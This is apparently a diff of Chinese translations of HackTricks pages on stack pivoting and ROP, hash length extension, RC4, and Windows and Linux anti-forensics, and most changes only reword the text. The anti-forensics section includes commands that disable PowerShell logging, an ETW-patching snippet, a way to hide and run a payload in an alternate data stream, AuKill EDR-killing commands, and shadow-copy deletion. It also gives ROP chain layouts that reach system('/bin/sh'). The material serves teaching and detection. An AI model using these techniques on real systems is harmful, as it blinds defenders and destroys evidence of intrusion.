在栈中使用 RET sled 并将真实的 ROP 链放在末尾也是常见的做法,以使新的 RSP 更有可能指向 sled 内部,并执行最终的 ROP 链。
|
||||
|
||||
### EBP 链接
|
||||
|
||||
通过在栈的保存 `EBP` 插槽中放置一个受控地址,并在 `EIP/RIP` 中放置一个 `leave; ret` gadget,可以 **将 `ESP/RSP` 移动到攻击者控制的地址**。
|
||||
通过在栈的保存 `EBP` 槽中放置一个受控地址,并在 `EIP/RIP` 中放置一个 `leave; ret` gadget,可以 **将 `ESP/RSP` 移动到攻击者控制的地址**。
|
||||
|
||||
现在 `RSP` 被控制,下一条指令是 `ret`。在受控内存中放置类似以下内容:
|
||||
|
||||
- `&(next fake EBP)` -> 由 `leave` 的 `pop ebp/rbp` 加载。
|
||||
- `&(next fake EBP)` -> 由 `leave` 中的 `pop ebp/rbp` 加载。
|
||||
- `&system()` -> 由 `ret` 调用。
|
||||
- `&(leave;ret)` -> 在 `system` 结束后,将 RSP 移动到下一个伪 EBP 并继续。
|
||||
- `&("/bin/sh")` -> `system` 的参数。
|
||||
@ -96,11 +96,11 @@ pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
> amd64 对齐提示:System V ABI 在调用点要求 16 字节的栈对齐。如果你的链调用了像 `system` 这样的函数,请在调用之前添加一个对齐小工具(例如,`ret` 或 `sub rsp, 8 ; ret`)以保持对齐并避免 `movaps` 崩溃。
|
||||
> amd64 对齐提示:System V ABI 在调用点要求 16 字节的栈对齐。如果你的链调用像 `system` 这样的函数,请在调用之前添加一个对齐小工具(例如,`ret` 或 `sub rsp, 8 ; ret`)以保持对齐并避免 `movaps` 崩溃。
|
||||
|
||||
## EBP 可能未被使用
|
||||
|
||||
正如 [**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1),如果一个二进制文件是使用某些优化或省略帧指针编译的,**EBP/RBP 从未控制 ESP/RSP**。因此,任何通过控制 EBP/RBP 的利用都会失败,因为序言/尾声并没有从帧指针恢复。
|
||||
正如 [**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1),如果一个二进制文件是使用某些优化或省略帧指针编译的,**EBP/RBP 从未控制 ESP/RSP**。因此,任何通过控制 EBP/RBP 的利用都会失败,因为序言/尾声不会从帧指针恢复。
|
||||
|
||||
- 未优化 / 使用帧指针:
|
||||
```bash
|
||||
@ -130,7 +130,7 @@ ret # return
|
||||
|
||||
### `pop rsp`小工具
|
||||
|
||||
[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)你可以找到使用此技术的示例。对于那个挑战,需要调用一个带有两个特定参数的函数,并且有一个**`pop rsp`小工具**以及**来自栈的泄漏**:
|
||||
[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)你可以找到使用此技术的示例。对于那个挑战,需要调用一个带有两个特定参数的函数,并且有一个**`pop rsp`小工具**,还有一个**来自栈的泄漏**:
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
@ -182,7 +182,8 @@ xchg <reg>, rsp
|
||||
```
|
||||
### jmp esp
|
||||
|
||||
查看 ret2esp 技术:
|
||||
在这里查看 ret2esp 技术:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
@ -210,13 +211,13 @@ ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
|
||||
|
||||
在许多CTF/漏洞中使用的强大透视策略:
|
||||
|
||||
1) 使用小的初始溢出调用 `read`/`recv` 到一个大的可写区域(例如,`.bss`、堆或映射的RW内存),并将完整的ROP链放在那里。
|
||||
1) 使用小的初始溢出调用 `read`/`recv` 到一个大的可写区域(例如,`.bss`、堆或映射的RW内存),并将完整的ROP链放置在那里。
|
||||
2) 返回到一个透视小工具(`leave ; ret`、`pop rsp`、`xchg rax, rsp ; ret`)以将RSP移动到该区域。
|
||||
3) 继续使用分阶段链(例如,泄漏libc,调用 `mprotect`,然后 `read` shellcode,然后跳转到它)。
|
||||
|
||||
## 现代缓解措施破坏堆栈透视(CET/阴影堆栈)
|
||||
|
||||
现代x86 CPU和操作系统越来越多地部署 **CET阴影堆栈(SHSTK)**。启用SHSTK后,`ret`会将正常堆栈上的返回地址与硬件保护的阴影堆栈进行比较;任何不匹配都会引发控制保护故障并终止进程。因此,像EBP2Ret/leave;ret基础的透视技术将在从透视堆栈执行第一个 `ret` 时崩溃。
|
||||
现代x86 CPU和操作系统越来越多地部署 **CET阴影堆栈(SHSTK)**。启用SHSTK后,`ret`会将正常堆栈上的返回地址与硬件保护的阴影堆栈进行比较;任何不匹配都会引发控制保护故障并终止进程。因此,像EBP2Ret/leave;ret基础的透视技术将在从透视堆栈执行第一个`ret`时崩溃。
|
||||
|
||||
- 有关背景和更深入的细节,请参见:
|
||||
|
||||
@ -240,13 +241,13 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
|
||||
```
|
||||
- 实验室/CTF 注意事项:
|
||||
- 一些现代发行版在硬件和 glibc 支持存在时,为启用 CET 的二进制文件启用 SHSTK。对于在虚拟机中的受控测试,可以通过内核启动参数 `nousershstk` 全局禁用 SHSTK,或在启动时通过 glibc 可调参数选择性启用(参见参考文献)。不要在生产目标上禁用缓解措施。
|
||||
- 基于 JOP/COOP 或 SROP 的技术在某些目标上仍然可能有效,但 SHSTK 特别会破坏基于 `ret` 的枢轴。
|
||||
- 基于 JOP/COOP 或 SROP 的技术在某些目标上仍然可能有效,但 SHSTK 特别破坏了基于 `ret` 的支点。
|
||||
|
||||
- Windows 注意事项:Windows 10+ 暴露用户模式,Windows 11 添加了基于影子栈的内核模式“硬件强制栈保护”。兼容 CET 的进程在 `ret` 时防止栈枢轴/ROP;开发人员通过 CETCOMPAT 和相关策略选择加入(参见参考文献)。
|
||||
- Windows 注意事项:Windows 10+ 暴露用户模式,Windows 11 添加了基于影子栈的内核模式“硬件强制栈保护”。兼容 CET 的进程在 `ret` 时防止栈支点/ROP;开发人员通过 CETCOMPAT 和相关策略选择加入(参见参考文献)。
|
||||
|
||||
## ARM64
|
||||
|
||||
在 ARM64 中,**函数的前言和尾声** **不在栈中存储和检索 SP 寄存器**。此外,**`RET`** 指令不会返回到 SP 指向的地址,而是 **返回到 `x30` 内的地址**。
|
||||
在 ARM64 中,函数的 **前言和尾声** **不在栈中存储和检索 SP 寄存器**。此外,**`RET`** 指令不会返回到 SP 指向的地址,而是 **返回到 `x30` 内的地址**。
|
||||
|
||||
因此,默认情况下,仅仅利用尾声你 **无法通过覆盖栈中的某些数据来控制 SP 寄存器**。即使你设法控制了 SP,你仍然需要一种方法来 **控制 `x30`** 寄存器。
|
||||
|
||||
@ -267,9 +268,9 @@ ret
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> 在 ARM64 中执行类似于栈枢轴的操作的方法是能够 **控制 `SP`**(通过控制某个寄存器,其值传递给 `SP`,或因为某种原因 `SP` 从栈中获取其地址而我们有溢出),然后 **利用尾声** 从 **受控的 `SP`** 加载 **`x30`** 寄存器并 **`RET`** 到它。
|
||||
> 在 ARM64 中执行类似于栈支点的操作的方法是能够 **控制 `SP`**(通过控制某个寄存器,其值传递给 `SP`,或因为某种原因 `SP` 从栈中获取其地址而我们有溢出),然后 **利用尾声** 从 **受控的 `SP`** 加载 **`x30`** 寄存器并 **`RET`** 到它。
|
||||
|
||||
在以下页面中,你可以看到 **Ret2esp 在 ARM64 中的等价物**:
|
||||
在以下页面中,你可以看到 **Ret2esp 在 ARM64 中的等效物**:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
@ -282,7 +283,7 @@ ret
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 位,溢出一个的利用,使用以 ret sled 开头的 rop 链
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 位,无 relro、canary、nx 和 pie。该程序为栈或 pie 提供了泄漏和一个 qword 的 WWW。首先获取栈泄漏,然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用 `.fini_array` 条目 + 调用 `__libc_csu_fini` 的永恒循环([更多信息在这里](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。利用这个“永恒”的写入,在 .bss 中写入一个 ROP 链并最终调用它,使用 RBP 进行枢轴。
|
||||
- 64 位,无 relro、canary、nx 和 pie。该程序为栈或 pie 提供了一个泄漏和一个 qword 的 WWW。首先获取栈泄漏,然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用 `.fini_array` 条目 + 调用 `__libc_csu_fini` 的永恒循环([更多信息在这里](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。利用这个“永恒”的写入,在 .bss 中写入一个 ROP 链并最终调用它,使用 RBP 进行支点。
|
||||
- Linux 内核文档:控制流保护技术(CET)影子栈 — 关于 SHSTK、`nousershstk`、`/proc/$PID/status` 标志和通过 `arch_prctl` 启用的详细信息。 https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
- Microsoft Learn:内核模式硬件强制栈保护(Windows 上的 CET 影子栈)。 https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
|
||||
|
||||
@ -4,6 +4,7 @@
|
||||
|
||||
在以下内容中找到关于 arm64 的介绍:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# 神秘语言
|
||||
# Esoteric languages
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
|
||||
|
||||
查看该维基以搜索更多神秘语言
|
||||
查看该维基以搜索更多晦涩语言
|
||||
|
||||
## Malbolge
|
||||
```
|
||||
|
||||
@ -2,22 +2,22 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 攻击概述
|
||||
## 攻击总结
|
||||
|
||||
想象一个服务器,它通过将一个**秘密**附加到一些已知的明文数据上并对该数据进行**签名**。如果你知道:
|
||||
想象一个服务器,它通过将一个**秘密**附加到一些已知的明文数据上并对这些数据进行**签名**。如果你知道:
|
||||
|
||||
- **秘密的长度**(这也可以从给定的长度范围进行暴力破解)
|
||||
- **秘密的长度**(这也可以从给定的长度范围中暴力破解)
|
||||
- **明文数据**
|
||||
- **算法(并且它对这种攻击是脆弱的)**
|
||||
- **填充是已知的**
|
||||
- 通常使用默认填充,因此如果满足其他三个要求,这也是
|
||||
- 填充根据秘密+数据的长度而变化,这就是为什么需要秘密的长度
|
||||
- 填充根据秘密+数据的长度而变化,这就是为什么需要知道秘密的长度
|
||||
|
||||
那么,**攻击者**可以**附加****数据**并为**之前的数据 + 附加的数据**生成一个有效的**签名**。
|
||||
那么,**攻击者**可以**附加** **数据**并为**之前的数据 + 附加的数据**生成一个有效的**签名**。
|
||||
|
||||
### 如何?
|
||||
|
||||
基本上,脆弱的算法首先通过**哈希一个数据块**来生成哈希,然后,从**之前**创建的**哈希**(状态)中,他们**添加下一个数据块**并**哈希它**。
|
||||
基本上,脆弱的算法首先通过**哈希一个数据块**来生成哈希,然后,从**之前**创建的**哈希**(状态)中,**添加下一个数据块**并**哈希它**。
|
||||
|
||||
然后,想象秘密是“secret”,数据是“data”,"secretdata"的MD5是6036708eba0d11f6ef52ad44e8b74d5b。\
|
||||
如果攻击者想要附加字符串“append”,他可以:
|
||||
|
||||
@ -1,8 +1,10 @@
|
||||
# RC4 加密和解密
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
如果你能够以某种方式使用 RC4 加密明文,你可以仅使用加密函数解密任何使用相同密码加密的内容。
|
||||
如果你能以某种方式使用 RC4 加密明文,你可以仅使用加密函数解密任何使用相同密码加密的内容。
|
||||
|
||||
如果你可以加密已知的明文,你也可以提取密码。更多参考资料可以在 HTB Kryptos 机器中找到:
|
||||
如果你能加密已知的明文,你也可以提取密码。更多参考资料可以在 HTB Kryptos 机器中找到:
|
||||
|
||||
{{#ref}}
|
||||
https://0xrick.github.io/hack-the-box/kryptos/
|
||||
|
||||
@ -2,7 +2,8 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 创建和挂载镜像
|
||||
## 创建和挂载映像
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
|
||||
@ -10,15 +11,17 @@
|
||||
|
||||
## 恶意软件分析
|
||||
|
||||
这**并不是在获得镜像后必须执行的第一步**。但是如果你有一个文件、文件系统镜像、内存镜像、pcap...你可以独立使用这些恶意软件分析技术,因此**记住这些操作是很好的**:
|
||||
这**并不是在获得映像后必须执行的第一步**。但是如果你有一个文件、文件系统映像、内存映像、pcap...你可以独立使用这些恶意软件分析技术,所以**记住这些操作是好的**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
malware-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
## 检查镜像
|
||||
## 检查映像
|
||||
|
||||
如果你获得了设备的**取证映像**,你可以开始**分析分区、文件系统**并**恢复**潜在的**有趣文件**(甚至是已删除的文件)。了解如何进行:
|
||||
|
||||
如果你获得了设备的**取证镜像**,你可以开始**分析分区、文件系统**并**恢复**潜在的**有趣文件**(甚至是已删除的文件)。了解如何进行:
|
||||
|
||||
{{#ref}}
|
||||
partitions-file-systems-carving/
|
||||
@ -26,14 +29,17 @@ partitions-file-systems-carving/
|
||||
|
||||
根据使用的操作系统甚至平台,应该搜索不同的有趣文物:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
windows-forensics/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
linux-forensics.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
docker-forensics.md
|
||||
{{#endref}}
|
||||
@ -43,24 +49,28 @@ docker-forensics.md
|
||||
如果你有非常**可疑的****文件**,那么**根据文件类型和创建它的软件**,可能会有几种**技巧**是有用的。\
|
||||
阅读以下页面以了解一些有趣的技巧:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
specific-software-file-type-tricks/
|
||||
{{#endref}}
|
||||
|
||||
我想特别提到以下页面:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
specific-software-file-type-tricks/browser-artifacts.md
|
||||
{{#endref}}
|
||||
|
||||
## 内存转储检查
|
||||
|
||||
|
||||
{{#ref}}
|
||||
memory-dump-analysis/
|
||||
{{#endref}}
|
||||
|
||||
## Pcap 检查
|
||||
|
||||
|
||||
{{#ref}}
|
||||
pcap-inspection/
|
||||
{{#endref}}
|
||||
@ -69,12 +79,14 @@ pcap-inspection/
|
||||
|
||||
请记住可能使用反取证技术:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
anti-forensic-techniques.md
|
||||
{{#endref}}
|
||||
|
||||
## 威胁狩猎
|
||||
|
||||
|
||||
{{#ref}}
|
||||
file-integrity-monitoring.md
|
||||
{{#endref}}
|
||||
|
||||
@ -21,15 +21,15 @@
|
||||
|
||||
.png>)
|
||||
|
||||
上图是**工具**显示的**输出**,可以观察到对文件进行了一些**更改**。
|
||||
上图是**工具**显示的**输出**,可以观察到对文件进行了**某些更改**。
|
||||
|
||||
### $LogFile
|
||||
|
||||
**对文件系统的所有元数据更改都会被记录**,这一过程称为[写前日志](https://en.wikipedia.org/wiki/Write-ahead_logging)。记录的元数据保存在名为`**$LogFile**`的文件中,该文件位于NTFS文件系统的根目录。可以使用[LogFileParser](https://github.com/jschicht/LogFileParser)等工具解析此文件并识别更改。
|
||||
**对文件系统的所有元数据更改都会被记录**,这一过程称为[预写日志](https://en.wikipedia.org/wiki/Write-ahead_logging)。记录的元数据保存在名为`**$LogFile**`的文件中,该文件位于NTFS文件系统的根目录。可以使用[LogFileParser](https://github.com/jschicht/LogFileParser)等工具解析此文件并识别更改。
|
||||
|
||||
.png>)
|
||||
|
||||
同样,在工具的输出中可以看到**进行了一些更改**。
|
||||
同样,在工具的输出中可以看到**某些更改已被执行**。
|
||||
|
||||
使用同一工具可以识别**时间戳被修改到哪个时间**:
|
||||
|
||||
@ -46,17 +46,17 @@
|
||||
|
||||
### 纳秒
|
||||
|
||||
**NTFS**时间戳的**精度**为**100纳秒**。因此,找到时间戳为2010-10-10 10:10:**00.000:0000的文件是非常可疑的。
|
||||
**NTFS**时间戳的**精度**为**100纳秒**。因此,找到时间戳像2010-10-10 10:10:**00.000:0000的文件是非常可疑的**。
|
||||
|
||||
### SetMace - 反取证工具
|
||||
|
||||
该工具可以修改两个属性`$STARNDAR_INFORMATION`和`$FILE_NAME`。然而,从Windows Vista开始,必须在实时操作系统中修改此信息。
|
||||
该工具可以修改两个属性`$STARNDAR_INFORMATION`和`$FILE_NAME`。然而,从Windows Vista开始,必须在活动操作系统中修改此信息。
|
||||
|
||||
## 数据隐藏
|
||||
|
||||
NFTS使用集群和最小信息大小。这意味着如果一个文件占用一个半集群,**剩下的半个集群将永远不会被使用**,直到文件被删除。因此,可以在这个松弛空间中**隐藏数据**。
|
||||
|
||||
有像slacker这样的工具可以在这个“隐藏”空间中隐藏数据。然而,对`$logfile`和`$usnjrnl`的分析可以显示一些数据被添加:
|
||||
有像slacker这样的工具可以在这个“隐藏”空间中隐藏数据。然而,对`$logfile`和`$usnjrnl`的分析可以显示某些数据已被添加:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -69,7 +69,7 @@ NFTS使用集群和最小信息大小。这意味着如果一个文件占用一
|
||||
|
||||
## 实时Linux发行版
|
||||
|
||||
这些发行版在**RAM**内存中**执行**。检测它们的唯一方法是**如果NTFS文件系统以写权限挂载**。如果仅以读权限挂载,则无法检测到入侵。
|
||||
这些发行版在**RAM**内存中**执行**。检测它们的唯一方法是**在NTFS文件系统以写入权限挂载的情况下**。如果仅以读取权限挂载,则无法检测到入侵。
|
||||
|
||||
## 安全删除
|
||||
|
||||
@ -100,32 +100,32 @@ NFTS使用集群和最小信息大小。这意味着如果一个文件占用一
|
||||
|
||||
### 禁用时间戳 - 最后访问时间
|
||||
|
||||
每当从Windows NT服务器上的NTFS卷打开文件夹时,系统会花时间**更新每个列出文件夹的时间戳字段**,称为最后访问时间。在一个使用频繁的NTFS卷上,这可能会影响性能。
|
||||
每当从Windows NT服务器上的NTFS卷打开文件夹时,系统会花时间**更新每个列出文件夹的时间戳字段**,称为最后访问时间。在使用频繁的NTFS卷上,这可能会影响性能。
|
||||
|
||||
1. 打开注册表编辑器(Regedit.exe)。
|
||||
2. 浏览到`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`。
|
||||
3. 查找`NtfsDisableLastAccessUpdate`。如果不存在,请添加此DWORD并将其值设置为1,这将禁用该过程。
|
||||
4. 关闭注册表编辑器,并重启服务器。
|
||||
|
||||
### 删除USB历史
|
||||
### 删除USB历史记录
|
||||
|
||||
所有**USB设备条目**都存储在Windows注册表的**USBSTOR**注册表项下,该项包含在您将USB设备插入PC或笔记本电脑时创建的子键。您可以在这里找到此键`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**删除此项**将删除USB历史。\
|
||||
所有**USB设备条目**都存储在Windows注册表中的**USBSTOR**注册表项下,该项包含在您将USB设备插入PC或笔记本电脑时创建的子键。您可以在这里找到此键`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**删除此项**将删除USB历史记录。\
|
||||
您还可以使用工具[**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html)确保您已删除它们(并删除它们)。
|
||||
|
||||
另一个保存USB信息的文件是`C:\Windows\INF`中的文件`setupapi.dev.log`。这也应该被删除。
|
||||
另一个保存USB信息的文件是`C:\Windows\INF`中的`setupapi.dev.log`。这也应该被删除。
|
||||
|
||||
### 禁用影子副本
|
||||
|
||||
**列出**影子副本使用`vssadmin list shadowstorage`\
|
||||
**删除**它们运行`vssadmin delete shadow`
|
||||
|
||||
您还可以通过GUI删除它们,按照[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)中提出的步骤。
|
||||
您还可以通过GUI删除它们,按照[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)中提出的步骤进行操作。
|
||||
|
||||
要禁用影子副本,请参阅[此处的步骤](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
要禁用影子副本,请[按照此处的步骤](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
|
||||
1. 通过在单击Windows开始按钮后在文本搜索框中输入“services”打开服务程序。
|
||||
1. 通过在点击Windows开始按钮后在文本搜索框中输入“services”打开服务程序。
|
||||
2. 从列表中找到“卷影复制”,选择它,然后右键单击访问属性。
|
||||
3. 从“启动类型”下拉菜单中选择禁用,然后通过单击应用和确定确认更改。
|
||||
3. 从“启动类型”下拉菜单中选择禁用,然后通过点击应用和确定确认更改。
|
||||
|
||||
还可以在注册表`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`中修改将要在影子副本中复制的文件的配置。
|
||||
|
||||
@ -156,7 +156,7 @@ NFTS使用集群和最小信息大小。这意味着如果一个文件占用一
|
||||
|
||||
### PowerShell脚本块/模块日志记录
|
||||
|
||||
最近版本的Windows 10/11和Windows Server在`Microsoft-Windows-PowerShell/Operational`下保留**丰富的PowerShell取证文物**(事件4104/4105/4106)。攻击者可以实时禁用或清除它们:
|
||||
Windows 10/11和Windows Server的最新版本在`Microsoft-Windows-PowerShell/Operational`(事件4104/4105/4106)下保留**丰富的PowerShell取证文物**。攻击者可以实时禁用或清除它们:
|
||||
```powershell
|
||||
# Turn OFF ScriptBlock & Module logging (registry persistence)
|
||||
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine" \
|
||||
@ -180,11 +180,11 @@ WriteProcessMemory(GetCurrentProcess(),
|
||||
GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"),
|
||||
patch, sizeof(patch), NULL);
|
||||
```
|
||||
公共 PoCs (例如 `EtwTiSwallow`) 在 PowerShell 或 C++ 中实现相同的原语。由于补丁是 **进程本地** 的,运行在其他进程中的 EDR 可能会错过它。检测:比较内存中的 `ntdll` 与磁盘上的,或在用户模式之前进行钩子。
|
||||
公共 PoCs(例如 `EtwTiSwallow`)在 PowerShell 或 C++ 中实现相同的原语。由于补丁是 **进程本地** 的,运行在其他进程中的 EDR 可能会错过它。检测:比较内存中的 `ntdll` 与磁盘上的 `ntdll`,或在用户模式之前进行钩子。
|
||||
|
||||
### 备用数据流 (ADS) 复兴
|
||||
|
||||
2023 年的恶意软件活动(例如 **FIN12** 加载程序)已被发现将第二阶段二进制文件放置在 ADS 中,以避开传统扫描器:
|
||||
2023 年的恶意软件活动(例如 **FIN12** 加载程序)已被发现将第二阶段二进制文件放置在 ADS 中,以避免传统扫描器的检测:
|
||||
```cmd
|
||||
rem Hide cobalt.bin inside an ADS of a PDF
|
||||
type cobalt.bin > report.pdf:win32res.dll
|
||||
@ -192,28 +192,28 @@ rem Execute directly
|
||||
wmic process call create "cmd /c report.pdf:win32res.dll"
|
||||
```
|
||||
使用 `dir /R`、`Get-Item -Stream *` 或 Sysinternals `streams64.exe` 枚举流。
|
||||
将主机文件复制到 FAT/exFAT 或通过 SMB 将删除隐藏流,并可供调查人员恢复有效负载。
|
||||
将主机文件复制到 FAT/exFAT 或通过 SMB 将删除隐藏流,并可被调查人员用于恢复有效负载。
|
||||
|
||||
### BYOVD & “AuKill” (2023)
|
||||
|
||||
自带易受攻击驱动程序现在常用于勒索软件入侵中的 **反取证**。
|
||||
自带易受攻击驱动程序(Bring-Your-Own-Vulnerable-Driver)现在在勒索软件入侵中常用于 **反取证**。
|
||||
开源工具 **AuKill** 加载一个已签名但易受攻击的驱动程序 (`procexp152.sys`),以在 **加密和日志销毁之前** 暂停或终止 EDR 和取证传感器:
|
||||
```cmd
|
||||
AuKill.exe -e "C:\\Program Files\\Windows Defender\\MsMpEng.exe"
|
||||
AuKill.exe -k CrowdStrike
|
||||
```
|
||||
驱动程序随后被移除,留下最小的痕迹。
|
||||
缓解措施:启用 Microsoft 漏洞驱动程序黑名单 (HVCI/SAC),并对来自用户可写路径的内核服务创建进行警报。
|
||||
缓解措施:启用 Microsoft 脆弱驱动程序黑名单 (HVCI/SAC),并对来自用户可写路径的内核服务创建进行警报。
|
||||
|
||||
---
|
||||
|
||||
## Linux 反取证:自我修补和云 C2 (2023–2025)
|
||||
|
||||
### 自我修补被攻陷的服务以减少检测 (Linux)
|
||||
对手越来越多地在利用服务后立即“自我修补”,以防止重新利用并抑制基于漏洞的检测。其思路是用最新的合法上游二进制文件/JAR 替换易受攻击的组件,从而使扫描器报告主机已修补,同时保持持久性和 C2。
|
||||
对手越来越多地在利用服务后立即“自我修补”,以防止重新利用并抑制基于漏洞的检测。其思路是用最新的合法上游二进制文件/JAR 替换脆弱组件,从而使扫描器报告主机已修补,同时保持持久性和 C2。
|
||||
|
||||
示例:Apache ActiveMQ OpenWire RCE (CVE‑2023‑46604)
|
||||
- 后期利用,攻击者从 Maven Central (repo1.maven.org) 获取合法的 JAR,删除 ActiveMQ 安装中的易受攻击 JAR,并重启代理。
|
||||
- 后利用阶段,攻击者从 Maven Central (repo1.maven.org) 获取合法的 JAR,删除 ActiveMQ 安装中的脆弱 JAR,并重启代理。
|
||||
- 这关闭了初始 RCE,同时保持其他立足点 (cron、SSH 配置更改、单独的 C2 植入)。
|
||||
|
||||
操作示例(说明性)
|
||||
@ -236,16 +236,16 @@ systemctl restart activemq || service activemq restart
|
||||
```
|
||||
法医/狩猎技巧
|
||||
- 检查服务目录以寻找未计划的二进制/JAR 替换:
|
||||
- Debian/Ubuntu: `dpkg -V activemq` 并将文件哈希/路径与仓库镜像进行比较。
|
||||
- Debian/Ubuntu: `dpkg -V activemq` 并与仓库镜像比较文件哈希/路径。
|
||||
- RHEL/CentOS: `rpm -Va 'activemq*'`
|
||||
- 查找磁盘上存在但不被包管理器拥有的 JAR 版本,或更新的符号链接。
|
||||
- 查找磁盘上存在但不被包管理器拥有的 JAR 版本,或已更新的符号链接。
|
||||
- 时间线:`find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort` 以关联 ctime/mtime 与妥协窗口。
|
||||
- Shell 历史/进程遥测:在初始利用后立即有 `curl`/`wget` 到 `repo1.maven.org` 或其他工件 CDN 的证据。
|
||||
- 变更管理:验证谁应用了“补丁”以及原因,而不仅仅是补丁版本的存在。
|
||||
- Shell 历史/进程遥测:在初始利用后立即有证据表明使用了 `curl`/`wget` 访问 `repo1.maven.org` 或其他工件 CDN。
|
||||
- 变更管理:验证谁应用了“补丁”以及原因,而不仅仅是确认存在已修补版本。
|
||||
|
||||
### 带有承载令牌和反分析启动器的云服务 C2
|
||||
### 带有持有者令牌和反分析启动程序的云服务 C2
|
||||
观察到的交易技巧结合了多个长期 C2 路径和反分析打包:
|
||||
- 密码保护的 PyInstaller ELF 加载器以阻碍沙箱和静态分析(例如,加密的 PYZ,临时提取到 `/_MEI*`)。
|
||||
- 密码保护的 PyInstaller ELF 加载程序以阻碍沙箱和静态分析(例如,加密的 PYZ,临时提取到 `/_MEI*` 下)。
|
||||
- 指标:`strings` 命中如 `PyInstaller`、`pyi-archive`、`PYZ-00.pyz`、`MEIPASS`。
|
||||
- 运行时工件:提取到 `/tmp/_MEI*` 或自定义 `--runtime-tmpdir` 路径。
|
||||
- 使用硬编码 OAuth Bearer 令牌的 Dropbox 支持的 C2
|
||||
|
||||
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 初步信息收集
|
||||
## 初始信息收集
|
||||
|
||||
### 基本信息
|
||||
|
||||
首先,建议准备一个带有**已知良好二进制文件和库的USB**(你可以直接获取ubuntu并复制文件夹 _/bin_, _/sbin_, _/lib,_ 和 _/lib64_),然后挂载USB,并修改环境变量以使用这些二进制文件:
|
||||
首先,建议准备一个带有**已知良好二进制文件和库的USB**(你可以直接获取ubuntu并复制文件夹_/bin_、_/sbin_、_/lib_和_/lib64_),然后挂载USB,并修改环境变量以使用这些二进制文件:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
@ -34,8 +34,8 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
|
||||
在获取基本信息时,您应该检查一些奇怪的事情,例如:
|
||||
|
||||
- **Root 进程** 通常运行在低 PID,因此如果您发现一个具有大 PID 的 root 进程,您可能会怀疑
|
||||
- 检查 `/etc/passwd` 中没有 shell 的用户的 **注册登录**
|
||||
